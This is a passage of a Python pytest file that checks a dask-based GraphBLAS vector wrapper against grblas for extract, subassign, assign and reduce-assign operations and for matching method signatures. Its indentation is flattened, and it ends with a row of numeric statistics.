compare(g3, (v.dup(), w, ind), (dv.dup(), dw, index), errors=True)
compare(
g3, (v.dup(dtype=float), w, ind), (dv.dup(dtype=float), dw, index), errors=True
)
compare(g4, (v.dup(), w, ind), (dv.dup(), dw, index))
compare(g4, (v.dup(dtype=float), w, ind), (dv.dup(dtype=float), dw, index))
compare(h1, (v.dup(), w, ind), (dv.dup(), dw, index), errors=True)
compare(
h1, (v.dup(dtype=float), w, ind), (dv.dup(dtype=float), dw, index), errors=True
)
compare(h2, (v.dup(), w, ind), (dv.dup(), dw, index))
compare(h2, (v.dup(dtype=float), w, ind), (dv.dup(dtype=float), dw, index))
for dvm in dvms:
compare(g1, (vm.V, v.dup(), w, ind), (dvm.V, dv.dup(), dw, index))
compare(
g1,
(vm.V, v.dup(dtype=float), w, ind),
(dvm.V, dv.dup(dtype=float), dw, index),
)
compare(
lambda m, x, index: x[index].new(mask=m), (vm.V, w, ind), (dvm.V, dw, index)
)
compare(
lambda m, x, index: x[index].new(mask=m, dtype=float),
(vm.V, w, ind),
(dvm.V, dw, index),
)
compare(h3, (vm.V, v.dup(), w, ind), (dvm.V, dv.dup(), dw, index))
compare(
h3,
(vm.V, v.dup(dtype=float), w, ind),
(dvm.V, dv.dup(dtype=float), dw, index),
)
compare(
lambda m, x, index: x[index].new(mask=m, replace=True),
(vm.V, w, ind),
(dvm.V, dw, index),
errors=True,
)
compare(
lambda m, x, index: x[index].new(mask=m, replace=True, dtype=float),
(vm.V, w, ind),
(dvm.V, dw, index),
errors=True,
)
compare(h4, (vm.V, v.dup(), w, ind), (dvm.V, dv.dup(), dw, index))
compare(
h4,
(vm.V, v.dup(dtype=float), w, ind),
(dvm.V, dv.dup(dtype=float), dw, index),
)
compare(
lambda m, x, index: x[index].new(mask=m, replace=False),
(vm.V, w, ind),
(dvm.V, dw, index),
errors=True,
)
compare(
lambda m, x, index: x[index].new(mask=m, replace=False, dtype=float),
(vm.V, w, ind),
(dvm.V, dw, index),
errors=True,
)
compare(h5, (vm.V, v.dup(), w, ind), (dvm.V, dv.dup(), dw, index))
compare(
h5,
(vm.V, v.dup(dtype=float), w, ind),
(dvm.V, dv.dup(dtype=float), dw, index),
)
compare(
lambda m, x, index: x[index].new(mask=m, accum=gb.binary.plus),
(vm.V, w, ind),
(dvm.V, dw, index),
errors=True,
)
compare(
lambda m, x, index: x[index].new(mask=m, accum=gb.binary.plus, dtype=float),
(vm.V, w, ind),
(dvm.V, dw, index),
errors=True,
)
compare(i1, (vm.V, v.dup(), w, ind), (dvm.V, dv.dup(), dw, index))
compare(
i1,
(vm.V, v.dup(dtype=float), w, ind),
(dvm.V, dv.dup(dtype=float), dw, index),
)
compare(
lambda m, x, index: x[index].new(
mask=m, accum=gb.binary.plus, replace=True
),
(vm.V, w, ind),
(dvm.V, dw, index),
errors=True,
)
compare(
lambda m, x, index: x[index].new(
mask=m, accum=gb.binary.plus, replace=True, dtype=float
),
(vm.V, w, ind),
(dvm.V, dw, index),
errors=True,
)
compare(i2, (vm.V, v.dup(), w, ind), (dvm.V, dv.dup(), dw, index))
compare(
i2,
(vm.V, v.dup(dtype=float), w, ind),
(dvm.V, dv.dup(dtype=float), dw, index),
)
compare(
lambda m, x, index: x[index].new(
mask=m, accum=gb.binary.plus, replace=False
),
(vm.V, w, ind),
(dvm.V, dw, index),
errors=True,
)
compare(
lambda m, x, index: x[index].new(
mask=m, accum=gb.binary.plus, replace=False, dtype=float
),
(vm.V, w, ind),
(dvm.V, dw, index),
errors=True,
)
for dsm in dsms:
compare(g1, (sm.S, v.dup(), w, ind), (dsm.S, dv.dup(), dw, index))
compare(
g1,
(sm.S, v.dup(dtype=float), w, ind),
(dsm.S, dv.dup(dtype=float), dw, index),
)
compare(
lambda m, x, index: x[index].new(mask=m), (sm.S, w, ind), (dsm.S, dw, index)
)
compare(
lambda m, x, index: x[index].new(mask=m, dtype=float),
(sm.S, w, ind),
(dsm.S, dw, index),
)
compare(h3, (sm.S, v.dup(), w, ind), (dsm.S, dv.dup(), dw, index))
compare(
h3,
(sm.S, v.dup(dtype=float), w, ind),
(dsm.S, dv.dup(dtype=float), dw, index),
)
compare(
lambda m, x, index: x[index].new(mask=m, replace=True),
(sm.S, w, ind),
(dsm.S, dw, index),
errors=True,
)
compare(
lambda m, x, index: x[index].new(mask=m, replace=True, dtype=float),
(sm.S, w, ind),
(dsm.S, dw, index),
errors=True,
)
compare(h4, (sm.S, v.dup(), w, ind), (dsm.S, dv.dup(), dw, index))
compare(
h4,
(sm.S, v.dup(dtype=float), w, ind),
(dsm.S, dv.dup(dtype=float), dw, index),
)
compare(
lambda m, x, index: x[index].new(mask=m, replace=False),
(sm.S, w, ind),
(dsm.S, dw, index),
errors=True,
)
compare(
lambda m, x, index: x[index].new(mask=m, replace=False, dtype=float),
(sm.S, w, ind),
(dsm.S, dw, index),
errors=True,
)
compare(h5, (sm.S, v.dup(), w, ind), (dsm.S, dv.dup(), dw, index))
compare(
h5,
(sm.S, v.dup(dtype=float), w, ind),
(dsm.S, dv.dup(dtype=float), dw, index),
)
compare(
lambda m, x, index: x[index].new(mask=m, accum=gb.binary.plus),
(sm.S, w, ind),
(dsm.S, dw, index),
errors=True,
)
compare(
lambda m, x, index: x[index].new(mask=m, accum=gb.binary.plus, dtype=float),
(sm.S, w, ind),
(dsm.S, dw, index),
errors=True,
)
compare(i1, (sm.S, v.dup(), w, ind), (dsm.S, dv.dup(), dw, index))
compare(
i1,
(sm.S, v.dup(dtype=float), w, ind),
(dsm.S, dv.dup(dtype=float), dw, index),
)
compare(
lambda m, x, index: x[index].new(
mask=m, accum=gb.binary.plus, replace=True
),
(sm.S, w, ind),
(dsm.S, dw, index),
errors=True,
)
compare(
lambda m, x, index: x[index].new(
mask=m, accum=gb.binary.plus, replace=True, dtype=float
),
(sm.S, w, ind),
(dsm.S, dw, index),
errors=True,
)
compare(i2, (sm.S, v.dup(), w, ind), (dsm.S, dv.dup(), dw, index))
compare(
i2,
(sm.S, v.dup(dtype=float), w, ind),
(dsm.S, dv.dup(dtype=float), dw, index),
)
compare(
lambda m, x, index: x[index].new(
mask=m, accum=gb.binary.plus, replace=False
),
(sm.S, w, ind),
(dsm.S, dw, index),
errors=True,
)
compare(
lambda m, x, index: x[index].new(
mask=m, accum=gb.binary.plus, replace=False, dtype=float
),
(sm.S, w, ind),
(dsm.S, dw, index),
errors=True,
)
@pytest.mark.slow
def test_subassign(vs, ws, vms, sms):
test_replace_true = True
v, dvs = vs
gw, dws = ws
vm, dvms = vms
sm, dsms = sms
scalars = (1, 1.0)
gws = (gw,) * len(dws) + scalars
dws = dws + scalars
def inv_if(mask, is_inv=False):
if is_inv:
return ~mask
return mask
index1_da = da.from_array([0, 3, 1, 4, 2, 5], chunks=((2, 2, 2),))
index2_da = da.from_array([0, 5, 5, 1, 2, 0], chunks=((2, 2, 2),))
index3_da = da.from_array([0] * 6, chunks=((2, 2, 2),))
for index in [
index1_da,
index2_da,
index3_da,
[0, 3, 1, 4, 2, 5],
[0, 5, 5, 1, 2, 0],
slice(None),
slice(None, None, -1),
[0] * 6,
]:
def f2(x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x[ind]() << y
return x
def g1(m, x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x[ind](mask=m) << y
return x
def g2(x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x[ind](accum=gb.binary.plus) << y
return x
def g3(x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x[ind](replace=True) << y
return x
def g4(x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x[ind](replace=False) << y
return x
def h1(x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x[ind](accum=gb.binary.plus, replace=True) << y
return x
def h2(x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x[ind](accum=gb.binary.plus, replace=False) << y
return x
def h3(m, x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x[ind](mask=m, replace=test_replace_true) << y
return x
def h4(m, x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x[ind](mask=m, replace=False) << y
return x
def h5(m, x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x[ind](mask=m, accum=gb.binary.plus) << y
return x
def i1(m, x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x[ind](mask=m, accum=gb.binary.plus, replace=test_replace_true) << y
return x
def i2(m, x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x[ind](mask=m, accum=gb.binary.plus, replace=False) << y
return x
for dv in dvs:
for w, dw in zip(gws, dws):
compare(f2, (v.dup(), w), (dv.dup(), dw))
compare(f2, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw))
compare(g2, (v.dup(), w), (dv.dup(), dw))
compare(g2, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw))
compare(g3, (v.dup(), w), (dv.dup(), dw), errors=True)
compare(g3, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw), errors=True)
compare(g4, (v.dup(), w), (dv.dup(), dw))
compare(g4, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw))
compare(h1, (v.dup(), w), (dv.dup(), dw), errors=True)
compare(h1, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw), errors=True)
compare(h2, (v.dup(), w), (dv.dup(), dw))
compare(h2, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw))
for is_inv in [False, True]:
for dvm in dvms:
compare(
g1,
(inv_if(vm.V, is_inv), v.dup(), w),
(inv_if(dvm.V, is_inv), dv.dup(), dw),
)
compare(
g1,
(inv_if(vm.V, is_inv), v.dup(dtype=float), w),
(inv_if(dvm.V, is_inv), dv.dup(dtype=float), dw),
)
compare(
h3,
(inv_if(vm.V, is_inv), v.dup(), w),
(inv_if(dvm.V, is_inv), dv.dup(), dw),
)
compare(
h3,
(inv_if(vm.V, is_inv), v.dup(dtype=float), w),
(inv_if(dvm.V, is_inv), dv.dup(dtype=float), dw),
)
compare(
h4,
(inv_if(vm.V, is_inv), v.dup(), w),
(inv_if(dvm.V, is_inv), dv.dup(), dw),
)
compare(
h4,
(inv_if(vm.V, is_inv), v.dup(dtype=float), w),
(inv_if(dvm.V, is_inv), dv.dup(dtype=float), dw),
)
compare(
h5,
(inv_if(vm.V, is_inv), v.dup(), w),
(inv_if(dvm.V, is_inv), dv.dup(), dw),
)
compare(
h5,
(inv_if(vm.V, is_inv), v.dup(dtype=float), w),
(inv_if(dvm.V, is_inv), dv.dup(dtype=float), dw),
)
compare(
i1,
(inv_if(vm.V, is_inv), v.dup(), w),
(inv_if(dvm.V, is_inv), dv.dup(), dw),
)
compare(
i1,
(inv_if(vm.V, is_inv), v.dup(dtype=float), w),
(inv_if(dvm.V, is_inv), dv.dup(dtype=float), dw),
)
compare(
i2,
(inv_if(vm.V, is_inv), v.dup(), w),
(inv_if(dvm.V, is_inv), dv.dup(), dw),
)
compare(
i2,
(inv_if(vm.V, is_inv), v.dup(dtype=float), w),
(inv_if(dvm.V, is_inv), dv.dup(dtype=float), dw),
)
for dsm in dsms:
compare(
g1,
(inv_if(sm.S, is_inv), v.dup(), w),
(inv_if(dsm.S, is_inv), dv.dup(), dw),
)
compare(
g1,
(inv_if(sm.S, is_inv), v.dup(dtype=float), w),
(inv_if(dsm.S, is_inv), dv.dup(dtype=float), dw),
)
compare(
h3,
(inv_if(sm.S, is_inv), v.dup(), w),
(inv_if(dsm.S, is_inv), dv.dup(), dw),
)
compare(
h3,
(inv_if(sm.S, is_inv), v.dup(dtype=float), w),
(inv_if(dsm.S, is_inv), dv.dup(dtype=float), dw),
)
compare(
h4,
(inv_if(sm.S, is_inv), v.dup(), w),
(inv_if(dsm.S, is_inv), dv.dup(), dw),
)
compare(
h4,
(inv_if(sm.S, is_inv), v.dup(dtype=float), w),
(inv_if(dsm.S, is_inv), dv.dup(dtype=float), dw),
)
compare(
h5,
(inv_if(sm.S, is_inv), v.dup(), w),
(inv_if(dsm.S, is_inv), dv.dup(), dw),
)
compare(
h5,
(inv_if(sm.S, is_inv), v.dup(dtype=float), w),
(inv_if(dsm.S, is_inv), dv.dup(dtype=float), dw),
)
compare(
i1,
(inv_if(sm.S, is_inv), v.dup(), w),
(inv_if(dsm.S, is_inv), dv.dup(), dw),
)
compare(
i1,
(inv_if(sm.S, is_inv), v.dup(dtype=float), w),
(inv_if(dsm.S, is_inv), dv.dup(dtype=float), dw),
)
compare(
i2,
(inv_if(sm.S, is_inv), v.dup(), w),
(inv_if(dsm.S, is_inv), dv.dup(), dw),
)
compare(
i2,
(inv_if(sm.S, is_inv), v.dup(dtype=float), w),
(inv_if(dsm.S, is_inv), dv.dup(dtype=float), dw),
)
@pytest.mark.slow
def test_assign(vs, ws, vms, sms):
test_replace_true = True
v, dvs = vs
gw, dws = ws
vm, dvms = vms
sm, dsms = sms
gb_s = gb.Scalar.from_value(9)
dgb_s = dgb.Scalar.from_value(9)
scalars = (1, 1.0)
gws = (gw,) * len(dws) + scalars + (gb_s,)
dws = dws + scalars + (dgb_s,)
def inv_if(mask, is_inv=False):
if is_inv:
return ~mask
return mask
index1_da = da.from_array([0, 3, 1, 4, 2, 5], chunks=((2, 2, 2),))
index2_da = da.from_array([0, 5, 5, 1, 2, 0], chunks=((2, 2, 2),))
index3_da = da.from_array([0] * 6, chunks=((2, 2, 2),))
for index in [
index1_da,
index2_da,
index3_da,
[0] * 6,
slice(None, None, -1),
slice(None),
[0, 3, 1, 4, 2, 5],
[0, 5, 5, 1, 2, 0],
]:
def f1(x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x[ind] << y
return x
def f2(x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x()[ind] << y
return x
def g1(m, x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x(mask=m)[ind] << y
return x
def g2(x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x(accum=gb.binary.plus)[ind] << y
return x
def g3(x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x(replace=True)[ind] << y
return x
def g4(x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x(replace=False)[ind] << y
return x
def h1(x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x(accum=gb.binary.plus, replace=True)[ind] << y
return x
def h2(x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x(accum=gb.binary.plus, replace=False)[ind] << y
return x
def h3(m, x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x(mask=m, replace=test_replace_true)[ind] << y
return x
def h4(m, x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x(mask=m, replace=False)[ind] << y
return x
def h5(m, x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x(mask=m, accum=gb.binary.plus)[ind] << y
return x
def i1(m, x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x(mask=m, accum=gb.binary.plus, replace=test_replace_true)[ind] << y
return x
def i2(m, x, y):
ind = (
index.compute()
if isinstance(x, gb.base.BaseType) and type(index) is da.core.Array
else index
)
x(mask=m, accum=gb.binary.plus, replace=False)[ind] << y
return x
for dv in dvs:
for w, dw in zip(gws, dws):
compare(f1, (v.dup(), w), (dv.dup(), dw))
compare(f1, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw))
compare(f2, (v.dup(), w), (dv.dup(), dw))
compare(f2, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw))
compare(g2, (v.dup(), w), (dv.dup(), dw))
compare(g2, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw))
compare(g3, (v.dup(), w), (dv.dup(), dw), errors=True)
compare(g3, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw), errors=True)
compare(g4, (v.dup(), w), (dv.dup(), dw))
compare(g4, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw))
compare(h1, (v.dup(), w), (dv.dup(), dw), errors=True)
compare(h1, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw), errors=True)
compare(h2, (v.dup(), w), (dv.dup(), dw))
compare(h2, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw))
for is_inv in [False, True]:
for dvm in dvms:
compare(
g1,
(inv_if(vm.V, is_inv), v.dup(), w),
(inv_if(dvm.V, is_inv), dv.dup(), dw),
)
compare(
g1,
(inv_if(vm.V, is_inv), v.dup(dtype=float), w),
(inv_if(dvm.V, is_inv), dv.dup(dtype=float), dw),
)
compare(
h3,
(inv_if(vm.V, is_inv), v.dup(), w),
(inv_if(dvm.V, is_inv), dv.dup(), dw),
)
compare(
h3,
(inv_if(vm.V, is_inv), v.dup(dtype=float), w),
(inv_if(dvm.V, is_inv), dv.dup(dtype=float), dw),
)
compare(
h4,
(inv_if(vm.V, is_inv), v.dup(), w),
(inv_if(dvm.V, is_inv), dv.dup(), dw),
)
compare(
h4,
(inv_if(vm.V, is_inv), v.dup(dtype=float), w),
(inv_if(dvm.V, is_inv), dv.dup(dtype=float), dw),
)
compare(
h5,
(inv_if(vm.V, is_inv), v.dup(), w),
(inv_if(dvm.V, is_inv), dv.dup(), dw),
)
compare(
h5,
(inv_if(vm.V, is_inv), v.dup(dtype=float), w),
(inv_if(dvm.V, is_inv), dv.dup(dtype=float), dw),
)
compare(
i1,
(inv_if(vm.V, is_inv), v.dup(), w),
(inv_if(dvm.V, is_inv), dv.dup(), dw),
)
compare(
i1,
(inv_if(vm.V, is_inv), v.dup(dtype=float), w),
(inv_if(dvm.V, is_inv), dv.dup(dtype=float), dw),
)
compare(
i2,
(inv_if(vm.V, is_inv), v.dup(), w),
(inv_if(dvm.V, is_inv), dv.dup(), dw),
)
compare(
i2,
(inv_if(vm.V, is_inv), v.dup(dtype=float), w),
(inv_if(dvm.V, is_inv), dv.dup(dtype=float), dw),
)
for dsm in dsms:
compare(
g1,
(inv_if(sm.S, is_inv), v.dup(), w),
(inv_if(dsm.S, is_inv), dv.dup(), dw),
)
compare(
g1,
(inv_if(sm.S, is_inv), v.dup(dtype=float), w),
(inv_if(dsm.S, is_inv), dv.dup(dtype=float), dw),
)
compare(
h3,
(inv_if(sm.S, is_inv), v.dup(), w),
(inv_if(dsm.S, is_inv), dv.dup(), dw),
)
compare(
h3,
(inv_if(sm.S, is_inv), v.dup(dtype=float), w),
(inv_if(dsm.S, is_inv), dv.dup(dtype=float), dw),
)
compare(
h4,
(inv_if(sm.S, is_inv), v.dup(), w),
(inv_if(dsm.S, is_inv), dv.dup(), dw),
)
compare(
h4,
(inv_if(sm.S, is_inv), v.dup(dtype=float), w),
(inv_if(dsm.S, is_inv), dv.dup(dtype=float), dw),
)
compare(
h5,
(inv_if(sm.S, is_inv), v.dup(), w),
(inv_if(dsm.S, is_inv), dv.dup(), dw),
)
compare(
h5,
(inv_if(sm.S, is_inv), v.dup(dtype=float), w),
(inv_if(dsm.S, is_inv), dv.dup(dtype=float), dw),
)
compare(
i1,
(inv_if(sm.S, is_inv), v.dup(), w),
(inv_if(dsm.S, is_inv), dv.dup(), dw),
)
compare(
i1,
(inv_if(sm.S, is_inv), v.dup(dtype=float), w),
(inv_if(dsm.S, is_inv), dv.dup(dtype=float), dw),
)
compare(
i2,
(inv_if(sm.S, is_inv), v.dup(), w),
(inv_if(dsm.S, is_inv), dv.dup(), dw),
)
compare(
i2,
(inv_if(sm.S, is_inv), v.dup(dtype=float), w),
(inv_if(dsm.S, is_inv), dv.dup(dtype=float), dw),
)
def test_reduce_assign(vs, ws, vms, sms):
test_replace_true = True
v, dvs = vs
gw, dws = ws
vm, dvms = vms
sm, dsms = sms
gb_s = gb.Scalar.from_value(9)
dgb_s = dgb.Scalar.from_value(9)
scalars = (1, 1.0)
gws = (gw,) * len(dws) + scalars + (gb_s,)
dws = dws + scalars + (dgb_s,)
def inv_if(mask, is_inv=False):
if is_inv:
return ~mask
return mask
index1_da = da.from_array([0, 3, 1, 4, 2, 5], chunks=((2, 2, 2),))
index2_da = da.from_array([0, 5, 5, 1, 2, 0], chunks=((2, 2, 2),))
index3_da = da.from_array([0] * 6, chunks=((2, 2, 2),))
for index in [
[0, 3, 1, 4, 2, 5],
[0, 5, 5, 1, 2, 0],
[0] * 6,
slice(None),
slice(None, None, -1),
index1_da,
index2_da,
index3_da,
]:
def f1(x, y):
if isinstance(x, gb.base.BaseType):
ind = index.compute() if type(index) is da.core.Array else index
x[ind] << y
else:
ind = index
dgb.expr.reduce_assign(x, ind, y, dup_op="last")
return x
def g1(m, x, y):
if isinstance(x, gb.base.BaseType):
ind = index.compute() if type(index) is da.core.Array else index
x(mask=m)[ind] << y
else:
ind = index
dgb.expr.reduce_assign(x, ind, y, mask=m, dup_op="last")
return x
def g2(x, y):
if isinstance(x, gb.base.BaseType):
ind = index.compute() if type(index) is da.core.Array else index
x(accum=gb.binary.plus)[ind] << y
else:
ind = index
dgb.expr.reduce_assign(x, ind, y, accum=gb.binary.plus, dup_op="last")
return x
def g3(x, y):
if isinstance(x, gb.base.BaseType):
ind = index.compute() if type(index) is da.core.Array else index
x(replace=True)[ind] << y
else:
ind = index
dgb.expr.reduce_assign(x, ind, y, dup_op="last", replace=True)
return x
def g4(x, y):
if isinstance(x, gb.base.BaseType):
ind = index.compute() if type(index) is da.core.Array else index
x(replace=False)[ind] << y
else:
ind = index
dgb.expr.reduce_assign(x, ind, y, dup_op="last", replace=False)
return x
def h1(x, y):
if isinstance(x, gb.base.BaseType):
ind = index.compute() if type(index) is da.core.Array else index
x(accum=gb.binary.plus, replace=True)[ind] << y
else:
ind = index
dgb.expr.reduce_assign(x, ind, y, dup_op="last", accum=gb.binary.plus, replace=True)
return x
def h2(x, y):
if isinstance(x, gb.base.BaseType):
ind = index.compute() if type(index) is da.core.Array else index
x(accum=gb.binary.plus, replace=False)[ind] << y
else:
ind = index
dgb.expr.reduce_assign(
x, ind, y, dup_op="last", accum=gb.binary.plus, replace=False
)
return x
def h3(m, x, y):
if isinstance(x, gb.base.BaseType):
ind = index.compute() if type(index) is da.core.Array else index
x(mask=m, replace=True)[ind] << y
else:
ind = index
dgb.expr.reduce_assign(x, ind, y, mask=m, dup_op="last", replace=True)
return x
def h4(m, x, y):
if isinstance(x, gb.base.BaseType):
ind = index.compute() if type(index) is da.core.Array else index
x(mask=m, replace=False)[ind] << y
else:
ind = index
dgb.expr.reduce_assign(x, ind, y, mask=m, dup_op="last", replace=False)
return x
def h5(m, x, y):
if isinstance(x, gb.base.BaseType):
ind = index.compute() if type(index) is da.core.Array else index
x(mask=m, accum=gb.binary.plus)[ind] << y
else:
ind = index
dgb.expr.reduce_assign(x, ind, y, mask=m, accum=gb.binary.plus, dup_op="last")
return x
def i1(m, x, y):
if isinstance(x, gb.base.BaseType):
ind = index.compute() if type(index) is da.core.Array else index
x(mask=m, accum=gb.binary.plus, replace=True)[ind] << y
else:
ind = index
dgb.expr.reduce_assign(
x, ind, y, mask=m, accum=gb.binary.plus, replace=True, dup_op="last"
)
return x
def i2(m, x, y):
if isinstance(x, gb.base.BaseType):
ind = index.compute() if type(index) is da.core.Array else index
x(mask=m, accum=gb.binary.plus, replace=False)[ind] << y
else:
ind = index
dgb.expr.reduce_assign(
x, ind, y, mask=m, accum=gb.binary.plus, replace=False, dup_op="last"
)
return x
for dv in dvs:
for w, dw in zip(gws, dws):
compare(f1, (v.dup(), w), (dv.dup(), dw))
compare(f1, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw))
compare(g2, (v.dup(), w), (dv.dup(), dw))
compare(g2, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw))
compare(g3, (v.dup(), w), (dv.dup(), dw), errors=True)
compare(g3, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw), errors=True)
compare(g4, (v.dup(), w), (dv.dup(), dw))
compare(g4, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw))
compare(h1, (v.dup(), w), (dv.dup(), dw), errors=True)
compare(h1, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw), errors=True)
compare(h2, (v.dup(), w), (dv.dup(), dw))
compare(h2, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw))
for is_inv in [False, True]:
for dvm in dvms:
compare(
g1,
(inv_if(vm.V, is_inv), v.dup(), w),
(inv_if(dvm.V, is_inv), dv.dup(), dw),
)
compare(
g1,
(inv_if(vm.V, is_inv), v.dup(dtype=float), w),
(inv_if(dvm.V, is_inv), dv.dup(dtype=float), dw),
)
compare(
h3,
(inv_if(vm.V, is_inv), v.dup(), w),
(inv_if(dvm.V, is_inv), dv.dup(), dw),
)
compare(
h3,
(inv_if(vm.V, is_inv), v.dup(dtype=float), w),
(inv_if(dvm.V, is_inv), dv.dup(dtype=float), dw),
)
compare(
h4,
(inv_if(vm.V, is_inv), v.dup(), w),
(inv_if(dvm.V, is_inv), dv.dup(), dw),
)
compare(
h4,
(inv_if(vm.V, is_inv), v.dup(dtype=float), w),
(inv_if(dvm.V, is_inv), dv.dup(dtype=float), dw),
)
compare(
h5,
(inv_if(vm.V, is_inv), v.dup(), w),
(inv_if(dvm.V, is_inv), dv.dup(), dw),
)
compare(
h5,
(inv_if(vm.V, is_inv), v.dup(dtype=float), w),
(inv_if(dvm.V, is_inv), dv.dup(dtype=float), dw),
)
compare(
i1,
(inv_if(vm.V, is_inv), v.dup(), w),
(inv_if(dvm.V, is_inv), dv.dup(), dw),
)
compare(
i1,
(inv_if(vm.V, is_inv), v.dup(dtype=float), w),
(inv_if(dvm.V, is_inv), dv.dup(dtype=float), dw),
)
compare(
i2,
(inv_if(vm.V, is_inv), v.dup(), w),
(inv_if(dvm.V, is_inv), dv.dup(), dw),
)
compare(
i2,
(inv_if(vm.V, is_inv), v.dup(dtype=float), w),
(inv_if(dvm.V, is_inv), dv.dup(dtype=float), dw),
)
for dsm in dsms:
compare(
g1,
(inv_if(sm.S, is_inv), v.dup(), w),
(inv_if(dsm.S, is_inv), dv.dup(), dw),
)
compare(
g1,
(inv_if(sm.S, is_inv), v.dup(dtype=float), w),
(inv_if(dsm.S, is_inv), dv.dup(dtype=float), dw),
)
compare(
h3,
(inv_if(sm.S, is_inv), v.dup(), w),
(inv_if(dsm.S, is_inv), dv.dup(), dw),
)
compare(
h3,
(inv_if(sm.S, is_inv), v.dup(dtype=float), w),
(inv_if(dsm.S, is_inv), dv.dup(dtype=float), dw),
)
compare(
h4,
(inv_if(sm.S, is_inv), v.dup(), w),
(inv_if(dsm.S, is_inv), dv.dup(), dw),
)
compare(
h4,
(inv_if(sm.S, is_inv), v.dup(dtype=float), w),
(inv_if(dsm.S, is_inv), dv.dup(dtype=float), dw),
)
compare(
h5,
(inv_if(sm.S, is_inv), v.dup(), w),
(inv_if(dsm.S, is_inv), dv.dup(), dw),
)
compare(
h5,
(inv_if(sm.S, is_inv), v.dup(dtype=float), w),
(inv_if(dsm.S, is_inv), dv.dup(dtype=float), dw),
)
compare(
i1,
(inv_if(sm.S, is_inv), v.dup(), w),
(inv_if(dsm.S, is_inv), dv.dup(), dw),
)
compare(
i1,
(inv_if(sm.S, is_inv), v.dup(dtype=float), w),
(inv_if(dsm.S, is_inv), dv.dup(dtype=float), dw),
)
compare(
i2,
(inv_if(sm.S, is_inv), v.dup(), w),
(inv_if(dsm.S, is_inv), dv.dup(), dw),
)
compare(
i2,
(inv_if(sm.S, is_inv), v.dup(dtype=float), w),
(inv_if(dsm.S, is_inv), dv.dup(dtype=float), dw),
)
@pytest.mark.xfail
def test_attrs(vs):
v, dvs = vs
dv = dvs[0]
assert set(dir(v)) - set(dir(dv)) == {
"__del__", # TODO
"_assign_element",
"_extract_element",
"_is_scalar",
"_prep_for_assign",
"_prep_for_extract",
"_delete_element",
"gb_obj",
"show",
}
assert set(dir(dv)) - set(dir(v)) == {
"_delayed",
"_meta",
"_optional_dup",
"compute",
"from_vector",
"from_delayed",
"persist",
"visualize",
}
def test_signatures_match_grblas():
def has_signature(x):
try:
inspect.signature(x)
except Exception:
return False
else:
return True
v1 = gb.Vector.from_values(1, 2)
v2 = dgb.Vector.from_values(1, 2)
skip = {
"from_pygraphblas",
"to_pygraphblas",
"__class__",
"__init__",
"from_values",
"inner", # TODO
"outer", # TODO
}
d1 = {
key: inspect.signature(val)
for key, val in inspect.getmembers(v1)
if has_signature(val) and key not in skip
}
d2 = {
key: inspect.signature(val)
for key, val in inspect.getmembers(v2)
if has_signature(val) and key not in skip
}
for key, val in d1.items():
# if not key.startswith("_") or key.startswith("__") and key in d2:
if not key.startswith("_"):
assert val == d2[key], (key, str(val), str(d2[key]))
| 37.275437
| 100
| 0.376685
| 8,549
| 72,538
| 3.131945
| 0.026085
| 0.084034
| 0.091279
| 0.04915
| 0.912568
| 0.89774
| 0.877759
| 0.862297
| 0.847843
| 0.824127
| 0
| 0.017573
| 0.48303
| 72,538
| 1,945
| 101
| 37.294602
